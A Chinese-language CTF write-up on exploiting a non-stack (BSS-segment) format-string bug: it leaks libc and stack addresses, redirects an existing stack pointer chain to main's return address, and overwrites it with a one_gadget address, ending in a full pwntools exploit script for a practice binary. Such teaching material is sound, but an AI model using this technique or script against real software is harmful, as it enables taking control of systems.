简介
一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n
的方法改写入system或one_gadget
地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,也就是非栈上格式化字符串漏洞,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。
本文主要为大家介绍BSS段上的格式化字符串漏洞的解法
例题
开启NX,64位,动态编译,IDA分析:
简简单单,循环7次,一个read函数,一个打印函数,存在格式化字符串漏洞,没有后门
先按常规打法,泄露libc基址与ELF程序地址(栈地址)
通过调试可以得到libc_start_main函数的地址偏移与一个栈地址的地址偏移
通过格式化字符串漏洞将其泄露
由于本题是非栈上格式化字符串漏洞,因此我们无法使用工具直接修改返回地址,那就只能手搓了,还不懂如何手搓格式化字符串漏洞的朋友可以看看我上期博文:
https://blog.csdn.net/2301_79880752/article/details/136178764?spm=1001.2014.3001.5501
讲的还算详细
想要手搓格式化字符串我们得先知道我们需要修改的返回地址是哪个函数的,在本题中修改printf函数的返回地址是行不通的,因为我们要手搓格式化字符串漏洞就需要多次修改地址,需要多次用到printf函数,因此不能修改,那就只有main函数的返回地址了
调试查看一下main函数的返回地址
可以看到,图中圈出的部分即为main函数的返回地址,但是我们可以观察发现,它并不满足手搓payload中栈地址a➞地址b➞地址c,我们就没办法直接修改返回地址,那要怎么做呢?
这边博🐖教给大家一种新的解题方法,也是本篇博文的重点部分
我们可以看看栈里面是否存在栈地址a➞地址b➞地址c的结构
如果存在,我们是不是可以将栈地址c修改为main函数返回地址的栈地址
这样就形成了栈地址a➞地址b➞栈地址➞main函数返回地址的结构
我们只需要再找到地址b的偏移,就可以修改地址b中栈地址指向的main函数返回地址
也就是将main函数返回地址的栈地址,即0x7ffcd5c274e8里存的东西赋到画圈部分地址里即可
这里注意,手搓payload需要将0x7ffcd5c274e8的后二字节,中间二字节,以及最前面二个字节里存的东西全部赋值给画圈部分地址,而不单单是将两个地址不一样的后二字节修改过去就结束了,因为一个栈地址里包含了八个栈地址,并不是修改了其中一个栈地址就可以
我这边是采用了一一对应的修改方式,不容易混淆,即修改main函数返回地址的栈地址后两个字节里的内容到画圈部分地址0x7ffcd5c283e9的后二字节后,对应的修改main函数返回地址后二字节,随后再修改main函数返回地址的栈地址中间两个字节里的内容到画圈部分地址0x7ffcd5c283e9的中间二字节后,再去修改main函数对应的中间二字节,以此类推,形成一一对应的关系
最后将mian函数返回地址的所有字节全部修改成one_gadget的地址,即可获取权限
细节方面就不多讲了,具体手搓payload步骤跟博🐖的上一篇博文一样
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
pay=b'%9$p%11$p'
bug()
p.send(pay)
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['__libc_start_main']-243
print(hex(libc_base))
p.recvuntil("0x")
stack=int(p.recv(12),16)
print(hex(stack))
stack1=stack-240
print(hex(stack1))
stack2=stack-224
print(hex(stack2))
one=libc_base+0xe3b01
print(hex(one))
pay=(b'%'+str(stack1&0xffff).encode()+b'c%11$hn').ljust(504,b'\x00')+p64(stack2)
p.send(pay)
pay=(b'%'+str(one&0xffff).encode()+b'c%39$hn').ljust(504,b'\x00')+p64(stack)
p.send(pay)
stack1+=2
pay=(b'%'+str(stack1&0xffff).encode()+b'c%11$hn').ljust(504,b'\x00')+p64(stack2+2)
p.send(pay)
pay=(b'%'+str(one>>16&0xffff).encode()+b'c%39$hn').ljust(504,b'\x00')+p64(stack+2)
p.send(pay)
stack1+=2
pay=(b'%'+str(stack1&0xffff).encode()+b'c%11$hn').ljust(504,b'\x00')+p64(stack2+4)
p.send(pay)
pay=(b'%'+str(one>>32).encode()+b'c%39$hn').ljust(504,b'\x00')+p64(stack+4)
p.send(pay)
p.interactive()